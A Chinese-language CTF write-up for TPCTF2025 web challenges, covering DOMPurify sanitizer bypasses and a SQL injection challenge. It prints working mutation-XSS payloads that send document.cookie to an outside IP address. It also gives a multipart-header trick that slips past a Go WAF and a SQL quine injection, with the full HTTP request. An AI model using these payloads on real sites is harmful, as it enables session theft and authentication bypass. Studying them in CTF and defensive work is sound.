目录

TPCTF2025-Web-Writeup

TPCTF2025 -Web Writeup

web

baby_layout

有一个生成layout的界面,生成layout后可以提交一个post,post的内容会替换掉layout中的{ {content}}字符。然后可以给把生成的post链接发给bot来check,源码中写了bot的cookie就是flag。所以思路很简单,就是通过xss外带flag。

用DOMPurity3.2.4最新版,过滤了layout、content的值,核心代码如下:

DOMPurify.sanitize(content)

DOMPurify.sanitize(layout)

在网上找到一篇可以利用混淆命名空间绕过DOMPurify实现XSS的文章,而且这并不是特定浏览器的bug,直接来自于HTML规范

<form><math><mtext><form><mglyph><style></math><img src onerror=alert(1)></style></mglyph></form></mtext></math></form>

修改上面的payload,结合题目拼接绕过

content:

" onerror=window.location="http://20.243.255.185:2333/1.php?cookie="+encodeURIComponent(document.cookie) hrer="

layout:

<form><a><mtext><form><mglyph><div></a><img src={{content}}></div></mglyph></form></mtext></math></form>

safe_layout

这题和上题差不多

DOMPurify.sanitize(content, {ALLOWED_ATTR: [], });

但不再允许任何属性,但实际上DOMPurify.sanitize还有一个配置

​ ALLOW_ARIA_ATTR: ,

​ ALLOW_DATA_ATTR: ,

这两个配置默认允许data-*、aria- 这些属性存在,因为它们通常是无害的,所以可以利用data- 、aria-*来构造payload

content:

" onerror=window.location="http://20.243.255.185:2333/1.php?cookie="+encodeURIComponent(document.cookie) hrer="

layout:

<form><a><mtext><form><mglyph><div></a><img data-id={{content}}></div></mglyph></form></mtext></math></form>

safe_layout_revenge

最严格的过滤

DOMPurify.sanitize(content, {

​ ALLOWED_ATTR: [],

​ ALLOW_ARIA_ATTR: false,

​ ALLOW_DATA_ATTR: false,

});

整体思路是采用 style 绕过,测试发现当 style 标签前面跟上一些字符时,style 内部的元素可能会得以保留,故这里采用的是删除策略,把 xss 的 payload 构造好后,把 script 标签插入 content,在第二次 post 的时候删除就行

content:

layout:

s<style><{{content}}/style><<{{content}}script>location.href=\"http://xxx.xxx.xxx.xxx:xxxx?flag=\"+document.cookie;<{{content}}/script>test</style>

supersqli

需要满足 password == 查询结果第一条的第三个属性

go 写了个 waf ,卡的很死,绕不过去

但可以将请求体改成 POST 数据包,password 字段用下面这种方式传

------WebKitFormBoundaryt3GACwTMcq5T25tu
Content-Disposition: form-data; name="password"; filename="xxx"
Content-Disposition: form-data; name="password"

password的值
------WebKitFormBoundaryt3GACwTMcq5T25tu--

解释:将 password 解析为文件 => 绕过 waf 中 key, values 的提取 => 不进入 waf 检测

django 的 raw 原生查询只能用 SELECT,且没有回显,blog_adminuser 里面没有数据

因此构造 sql 时的思路就是使输入和输出一致——Quine注入

' union select 1,2,replace(replace('" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--',char(34),char(39)),char(46),'" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--')--

参考文章:https://cloud.tencent.com/developer/article/2287111

payload:

POST /flag/ HTTP/1.1
Host: 1.95.159.113
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryttest
Content-Length: 242

------WebKitFormBoundaryttest
Content-Disposition: form-data; name="username"

admin
------WebKitFormBoundaryttest
Content-Disposition: form-data; name="password"; filename="hash"
Content-Disposition: form-data; name="password"

' union select 1,2,replace(replace('" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--',char(34),char(39)),char(46),'" union select 1,2,replace(replace(".",char(34),char(39)),char(46),".")--')--
------WebKitFormBoundaryttest--